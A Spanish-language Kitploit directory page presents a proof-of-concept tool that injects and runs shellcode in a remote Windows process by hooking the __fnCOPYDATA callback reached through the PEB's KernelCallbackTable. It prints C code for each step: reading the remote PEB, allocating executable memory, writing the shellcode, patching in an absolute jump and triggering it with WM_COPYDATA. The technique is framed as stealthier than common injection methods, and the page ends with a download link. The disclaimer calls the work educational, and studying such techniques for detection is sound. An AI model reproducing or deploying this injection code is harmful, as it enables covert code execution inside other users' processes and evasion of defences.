Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
win32k-callback-detouring — Abusando del mecanismo de callback del kernel win32k.sys para la ejecución arbitraria de código | Kitploit
Herramientas/GitHubGitHub/n0qword/win32k-callback-detouring
ExplotaciónShellcodePost-ExplotaciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

Abusando del mecanismo de callback del kernel win32k.sys para la ejecución arbitraria de código

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web
10812hace 4 mesesRevisado por Kitploit

Descargo de responsabilidad

Este repositorio se proporciona estrictamente con fines educativos y de investigación defensiva.

Demuestra los mecanismos internos de despacho de callbacks de Windows y conceptos de flujo de control relacionados con KernelCallbackTable en un contexto de prueba de concepto.

  • No está destinado a uso no autorizado
  • No está diseñado para despliegue operativo
  • Sin consideraciones de sigilo/opsec
  • Úselo únicamente en entornos de laboratorio controlados que le pertenezcan o para los que esté autorizado a realizar pruebas

El autor no asume ninguna responsabilidad por el mal uso.


Desvío de Callbacks de Win32k: Abuso del Despacho Legítimo de Callbacks de Kernel a Usuario para Ejecución de Código

Resumen

Esta técnica de inyección abusa de la ruta de despacho de callbacks de kernel a usuario utilizada por el subsistema gráfico de Windows (win32k.sys) para obtener ejecución de código dentro de un proceso remoto. Al localizar el KernelCallbackTablea través delBloque de Entorno de Proceso (PEB), un operador puede enumerar las entradas de callback e identificar rutinas legítimas de modo usuario invocadas durante transiciones del kernel relacionadas con la GUI.

En lugar de realizar la tradicional inyección de KernelCallbackTable, donde una entrada de callback se sobrescribe directamente con la dirección del shellcode, esta variante intercepta el destino de callback legítimo referenciado por la tabla y redirige la ejecución al shellcode controlado por el atacante al momento de la invocación. Debido a que la ejecución se secuestra a través de una ruta de callback existente y esperada, la técnica puede proporcionar una alternativa más sigilosa que primitivas más convencionales como la creación de hilos remotos o la inyección basada en APC.


Comprendiendo el mecanismo

Flujo de despacho de callbacks de Windows

El subsistema gráfico de Windows delega partes del procesamiento relacionado con la GUI al modo usuario a través de un mecanismo de callback iniciado desde el modo kernel. Cuando win32k.sys necesita ejecutar lógica dentro del contexto de un proceso GUI, invoca KeUserModeCallback para realizar una transición controlada del modo kernel al modo usuario preservando el límite de aislamiento entre ambos contextos de ejecución.

Esta transición establece la ruta de ejecución legítima a través de la cual el kernel despacha callbacks del subsistema gráfico hacia el modo usuario—la misma ruta de la que luego abusa la técnica presentada.


KiUserCallbackDispatcher

Una vez completada la transición, la ejecución entra en KiUserCallbackDispatcher, una rutina de ntdll.dll responsable de recibir el índice de callback suministrado por el kernel y despachar la ejecución al manejador de callback correspondiente en modo usuario. Esta rutina sirve como punto de entrada obligatorio para todos los callbacks iniciados a través de KeUserModeCallback.

Debido a que toda la resolución de callbacks converge en este despachador, KiUserCallbackDispatcher actúa como el pivote central entre las solicitudes de callback del kernel y su eventual ejecución en modo usuario.


Ruta de resolución de KernelCallbackTable

Para resolver el destino de un callback solicitado, KiUserCallbackDispatcher consulta la KernelCallbackTable almacenada en el PEB del proceso objetivo. Cada entrada de la tabla contiene un puntero a una rutina de callback en modo usuario asociada con una operación específica del subsistema gráfico, típicamente implementada en user32.dll.

Las técnicas tradicionales de inyección de KernelCallbackTable sobrescriben directamente una o más de estas entradas para redirigir la ejecución. Si bien son efectivas, modificar la tabla en sí introduce anomalías estructurales que pueden detectarse trivialmente mediante la validación de integridad del PEB o del contenido de la tabla de callbacks. La técnica presentada evita esto preservando la estructura de la tabla y, en su lugar, desviando el destino de callback referenciado por la entrada.


Uso de __fnCOPYDATA como primitiva de ejecución

Entre las entradas disponibles de KernelCallbackTable, __fnCOPYDATA proporciona una primitiva de activación particularmente conveniente porque puede invocarse externamente mediante el envío de un mensaje WM_COPYDATA a través de SendMessage(). Esto permite activar el callback de forma determinista sin requerir un estado inusual del proceso ni una interacción compleja.

Al aprovechar un destino de callback naturalmente accesible y de uso frecuente, la técnica obtiene una primitiva de ejecución fiable mientras permanece completamente dentro de la cadena esperada de despacho de callbacks antes de la redirección.


kcallbackflow


Cómo funciona

La técnica comienza localizando el proceso objetivo y leyendo su PEB para recuperar la dirección de la KernelCallbackTable, desde la cual se resuelve el puntero de callback para __fnCOPYDATA. A continuación, se asigna memoria ejecutable dentro del proceso remoto y se escribe el shellcode controlado por el atacante en la región asignada. Antes de la modificación, los bytes originales de la rutina de callback legítima se conservan para permitir su restauración posterior.

Posteriormente, se instala un hook inline al inicio de la rutina resuelta __fnCOPYDATA, reemplazando su prólogo con un salto absoluto al shellcode inyectado. Para desencadenar la ejecución, se envía un mensaje WM_COPYDATA a la ventana objetivo, lo que hace que el subsistema gráfico de Windows despache __fnCOPYDATA a través de la cadena estándar de callbacks de kernel a usuario. Una vez completada la ejecución, los bytes originales del callback se restauran para preservar la estabilidad del proceso y reducir los artefactos de modificación residuales.


Implementación

Paso 1: Obtener el PEB del proceso remoto y KernelCallbackTable

La KernelCallbackTable se encuentra en el desplazamiento 0x58 dentro del PEB:

dt_peb

La siguiente lógica se utiliza para obtenerla:

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

El código comienza llamando a NtQueryInformationProcess con la clase de información ProcessBasicInformation para rellenar una estructura PROCESS_BASIC_INFORMATION, que expone la dirección del PEB del proceso remoto a través del campo PebBaseAddress.

A continuación, se utiliza NtReadVirtualMemory para leer el PEB remoto en una estructura local PEB, lo que permite extraer el puntero a KernelCallbackTable almacenado dentro del entorno del proceso. Después de validar que la tabla de callbacks está presente, una segunda llamada a NtReadVirtualMemory copia la estructura remota KERNELCALLBACKTABLE en la memoria local, lo que permite la resolución directa de destinos de callback como __fnCOPYDATA para el posterior desvío.

kct_callback


Paso 2: Asignar shellcode en el proceso remoto

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

NtAllocateVirtualMemory reserva memoria ejecutable dentro del proceso remoto y devuelve su dirección base a través de remoteShellcodeAddr. El tamaño de la asignación se deriva de la longitud del búfer de shellcode.

NtWriteVirtualMemory copia el shellcode en la región asignada, preparando el payload en el proceso objetivo para su posterior ejecución a través del desvío de callback.


Paso 3: Instalar el hook inline y desencadenar la ejecución

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

InitializeHookRemote prepara el destino de callback remoto para el desvío almacenando la función original y las direcciones del detour dentro de la estructura INLINEHOOKTABLE. Conserva el prólogo original del callback leyendo los primeros bytes de la rutina objetivo con NtReadVirtualMemory y, a continuación, cambia la protección de esa región a PAGE_EXECUTE_READWRITE mediante NtProtectVirtualMemory para que pueda parchearse de forma segura.

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

InstallHookRemote construye un stub de salto absoluto x64 (mov r10, <detour>; jmp r10) que redirige la ejecución al shellcode inyectado. El stub de salto se escribe sobre el inicio de la rutina de callback objetivo mediante NtWriteVirtualMemory, instalando efectivamente el hook inline.

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

RemoveHookRemote restaura la rutina de callback original volviendo a escribir los bytes del prólogo conservados en la estructura INLINEHOOKTABLE. A continuación, restablece los atributos de protección de memoria originales de la región parcheada mediante NtProtectVirtualMemory, eliminando el hook inline y devolviendo el destino de callback a su estado inicial.

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

Para desencadenar la ejecución, se envía un mensaje WM_COPYDATA a la ventana objetivo mediante SendMessageW, forzando al despachador de callbacks de Windows a invocar la rutina interceptada __fnCOPYDATA a través de la ruta normal de callbacks de kernel a usuario. Una vez completada la ejecución, RemoveHookRemote restaura los bytes originales del callback para preservar la estabilidad del proceso.


Ejecución

Una vez implementada la lógica, la prueba de concepto puede ejecutarse para producir el siguiente resultado:

fin_exec

Descargar herramienta